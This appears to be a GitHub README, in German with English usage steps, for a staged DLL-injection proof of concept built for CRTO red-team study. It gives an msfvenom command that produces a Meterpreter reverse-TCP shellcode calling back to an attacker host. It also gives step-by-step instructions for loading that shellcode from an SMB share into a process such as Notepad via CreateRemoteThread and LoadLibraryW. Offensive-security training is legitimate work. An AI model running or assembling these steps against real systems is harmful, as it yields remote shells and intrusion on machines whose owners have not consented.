staged-DLL-Injection

Proof-of-Concept für gestaffelte DLL-Injektion in C mit Win32-APIs – entwickelt in einer isolierten Laborumgebung für das Studium der Red-Team-Zertifizierung (CRTO).

⚠️ Haftungsausschluss: Dieses Projekt wurde ausschließlich in einer isolierten Laborumgebung zu Bildungszwecken im Rahmen der Offensive-Security-Forschung und des Zertifizierungsstudiums (CRTO) entwickelt. Es ist nicht für die Verwendung gegen Systeme ohne ausdrückliche schriftliche Genehmigung vorgesehen. Die unbefugte Nutzung ist illegal und unethisch.

Überblick

Eine Proof-of-Concept-Implementierung der gestaffelten DLL-Injektion unter Windows, erstellt im Rahmen von Red-Team-Zertifizierungsstudien. Dieses Projekt demonstriert, wie ein Stager eine bösartige DLL mithilfe nativer Win32-APIs remote in einen Zielprozess laden kann. Funktioniert am besten in einer AD-Umgebung, die SMB-Verkehr im internen Netzwerk zulässt; für die Nutzung über das Internet nicht empfohlen.

Verwendung

1. Build a shellcode with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<port> -f raw -o /directory/payload.bin
2. Obtain the raw shellcode and convert into a C array
xxd -i payload.bin > payload.h
3. Copy the shellcode, and paste it under unsigned char payload_bin[] {xxxxx} array in maindll.c
4. Modify the phc.c to point the address to your IP in dllPath[]
5. Compile phc.c into .exe, and compile maindll.c into .dll file
6. Host the smb server, and paste the maindll.dll
7. Set up Listener
8. Open Notepad.exe and find the PID
9. Run phc.exe <PID>

Funktionsweise

Stager (phc.c)

• Akzeptiert eine Zielprozess-PID als Befehlszeilenargument
• Öffnet ein Handle zum Zielprozess über OpenProcess
• Allokiert Speicher innerhalb des Zielprozesses über VirtualAlloc
• Ruft die Adresse von LoadLibraryW aus Kernel32 ab
• Erzeugt einen Remote-Thread über CreateRemoteThread, der LoadLibraryW aufruft und die DLL von einer entfernten SMB-Freigabe lädt

DLL (maindll.dll)

• Enthält eine eingebettete Shellcode-Nutzlast
• DllMain wird automatisch bei DLL_PROCESS_ATTACH ausgelöst
• Allokiert ausführbaren Speicher über VirtualAlloc
• Kopiert Shellcode in den Speicher und führt ihn über CreateThread aus

Angriffsablauf

phc.exe → Öffnet Zielprozess → Allokiert Speicher im Zielprozess → Lädt maindll.dll von SMB-Freigabe über LoadLibraryW → DllMain wird ausgelöst → Shellcode wird im Zielprozess ausgeführt

Demonstrierte Techniken

• Remote-DLL-Injektion über CreateRemoteThread + LoadLibraryW
• Shellcode-Einbettung und -Ausführung in C
• Missbrauch des DLL-Einstiegspunkts über DllMain
• Remote-Payload-Staging über SMB

Erstellt mit

• C
• Win32 API
• msfvenom
• Sliver C2

Umgebung

Getestet unter Windows 10 in einer isolierten Laborumgebung. C2-Listener gehostet auf Kali Linux.